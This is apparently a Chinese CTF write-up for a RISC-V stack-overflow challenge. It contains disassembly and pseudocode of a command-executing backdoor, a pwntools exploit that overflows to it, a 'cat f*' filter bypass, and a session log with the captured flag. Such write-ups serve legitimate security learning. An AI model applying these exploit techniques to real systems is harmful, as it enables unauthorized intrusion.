# 但是在Ghidra中会把它显示为FUN_123456ee函数,所以两个软件一起用还是非常nice的
.text:00000000123456EE                               # ---------------------------------------------------------------------------
.text:00000000123456EE 41 11                         addi            sp, sp, -10h
.text:00000000123456F0 06 E4                         sd              ra, 8(sp)
.text:00000000123456F2 22 E0                         sd              s0, 0(sp)
.text:00000000123456F4 00 08                         addi            s0, sp, 10h
.text:00000000123456F6 B7 67 34 12                   lui             a5, 12346h
.text:00000000123456FA 13 85 07 89                   addi            a0, a5, -770h
.text:00000000123456FE 97 B0 CC ED E7 80 20 0A       call            puts
.text:00000000123456FE
.text:0000000012345706 B7 67 34 12                   lui             a5, 12346h
.text:000000001234570A 13 85 87 8A                   addi            a0, a5, -758h
.text:000000001234570E 97 B0 CC ED E7 80 20 09       call            puts
.text:000000001234570E
.text:0000000012345716 21 46                         li              a2, 8
.text:0000000012345718 93 85 81 87                   la              a1, unk_12347078
.text:000000001234571C 01 45                         li              a0, 0
.text:000000001234571E 97 B0 CC ED E7 80 20 06       call            read
.text:000000001234571E
.text:0000000012345726 B7 67 34 12                   lui             a5, 12346h
.text:000000001234572A 93 85 87 8C                   addi            a1, a5, -738h
.text:000000001234572E 13 85 81 87                   la              a0, unk_12347078
.text:0000000012345732 97 B0 CC ED E7 80 E0 07       call            strstr
.text:0000000012345732
.text:000000001234573A AA 87                         mv              a5, a0
.text:000000001234573C 89 EF                         bnez            a5, loc_12345756
.text:000000001234573C
.text:000000001234573E B7 67 34 12                   lui             a5, 12346h
.text:0000000012345742 93 85 07 8D                   addi            a1, a5, -730h
.text:0000000012345746 13 85 81 87                   la              a0, unk_12347078
.text:000000001234574A 97 B0 CC ED E7 80 60 06       call            strstr
.text:000000001234574A
.text:0000000012345752 AA 87                         mv              a5, a0
.text:0000000012345754 91 CF                         beqz            a5, loc_12345770
.text:0000000012345754
.text:0000000012345756
.text:0000000012345756                               loc_12345756:                           # CODE XREF: .text:000000001234573C↑j
.text:0000000012345756 B7 67 34 12                   lui             a5, 12346h
.text:000000001234575A 13 85 87 8D                   addi            a0, a5, -728h
.text:000000001234575E 97 B0 CC ED E7 80 20 04       call            puts
.text:000000001234575E
.text:0000000012345766 7D 55                         li              a0, -1
.text:0000000012345768 97 B0 CC ED E7 80 80 05       call            exit
.text:0000000012345768
.text:0000000012345770                               # ---------------------------------------------------------------------------
.text:0000000012345770
.text:0000000012345770                               loc_12345770:                           # CODE XREF: .text:0000000012345754↑j
.text:0000000012345770 13 85 81 87                   la              a0, unk_12347078
.text:0000000012345774 97 B0 CC ED E7 80 C0 FE       call            system
.text:0000000012345774
.text:000000001234577C 01 00                         nop
.text:000000001234577E A2 60                         ld              ra, 8(sp)
.text:0000000012345780 02 64                         ld              s0, 0(sp)
.text:0000000012345782 41 01                         addi            sp, sp, 10h
.text:0000000012345784 82 80                         ret

伪代码及简要分析:

void backdoor(void)

{
  char *pcVar1;
  
  gp = &__global_pointer$;
  puts("background debug fun.");
  puts("input what you want exec");
  read(0,&DAT_12347078,8);
  pcVar1 = strstr(&DAT_12347078,"sh");
  if ((pcVar1 == (char *)0x0) && (pcVar1 = strstr(&DAT_12347078,"flag"), pcVar1 == (char *)0x0)) {
    system(&DAT_12347078);
    return;
  }
  puts("no.");
                    /* WARNING: Subroutine does not return */
  exit(-1);
}

一个小绕过:

if ((pcVar1 == (char *)0x0) && (pcVar1 = strstr(&DAT_12347078,"flag"), pcVar1 == (char *)0x0))

  • 即我们发送的要执行的命令不能带"flag”
  • 而我们ls命令查看到当前目录下就有一个flag文件,所以我们需要在不出现"flag"的情况下执行类似cat flag的命令
  • 采用正则表达式即可绕过,用f*来代表flag
cat f*

wp #

可以明显的看出来程序存在栈溢出漏洞,而且程序还有一个后门函数,exp如下:

from pwn import *

context.update(arch="riscv", os="linux")
context.log_level = 'debug'
taolve = process("./pwn")
# taolve = process(["qemu-riscv64", "-L", "~/桌面/CTF/ycb2023/pwn1/login", "-g", "1234", "./pwn"])
# taolve = remote('tcp.cloud.dasctf.com', 23149)

offset = 0x100
backdoor = 0x123456ee
payload = b"a"*offset + p64(backdoor)

taolve.sendlineafter(b'name:', b'aaa')
taolve.sendafter(b'words', payload)

taolve.interactive()

# 最后绕过一个flag字符串的检测
# 直接cat f*就可以了
# DASCTF{49263227130109070012252996328021}

其实题目不难,如果用Ghidra转为伪代码就只是一道简单的栈溢出题目,但可以趁这个机会好好学习RSIC-V架构的指令集以及练习一下阅读汇编代码的能力


Linux终端 log 日志:

ta0lve@ta0lve:~/桌面/CTF/ycb2023/pwn1$ python3 exp.py
[+] Opening connection to tcp.cloud.dasctf.com on port 23149: Done
[DEBUG] Received 0x22 bytes:
    b'RiskY LoG1N SySTem\n'
    b'Input ur name:\n'
[DEBUG] Sent 0x4 bytes:
    b'aaa\n'
[DEBUG] Received 0x1a bytes:
    b'Hello, aaa\n'
    b'Input ur words\n'
[DEBUG] Sent 0x108 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000100  ee 56 34 12  00 00 00 00                            │·V4·│····│
    00000108
[*] Switching to interactive mode

[DEBUG] Received 0x15 bytes:
    b'background debug fun.'
background debug fun.[DEBUG] Received 0x1a bytes:
    b'\n'
    b'input what you want exec\n'

input what you want exec
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x41 bytes:
    b'bin\n'
    b'dev\n'
    b'flag\n'
    b'lib\n'
    b'lib32\n'
    b'lib64\n'
    b'libexec\n'
    b'libx32\n'
    b'pwn\n'
    b'qemu-riscv64\n'
    b'usr\n'
bin
dev
flag
lib
lib32
lib64
libexec
libx32
pwn
qemu-riscv64
usr
[DEBUG] Received 0x2f bytes:
    b'background debug fun.\n'
    b'input what you want exec\n'
background debug fun.
input what you want exec
$ cat f*
[DEBUG] Sent 0x7 bytes:
    b'cat f*\n'
[DEBUG] Received 0x58 bytes:
    b'DASCTF{49263227130109070012252996328021}\n'
    b'background debug fun.\n'
    b'input what you want exec\n'
DASCTF{49263227130109070012252996328021}
background debug fun.
input what you want exec
$  

image-20230903025837489


附录 #

学习与参考链接:

qemu-riscv64: could not open ‘/lib/ld-linux-riscv64-lp64d.so.1‘解决方法

补码/反码、零扩展和符号位扩展(Zero extension and Sign extension)

RISC-V 指令概况 - 计算机组成原理(2021年) (tsinghua.edu.cn)

RISC-V 手册 - 中国科学技术大学 (点击直接下载PDF文件)

其他架构PWN学习记录 - This article is part of a series.
Part 1: This Article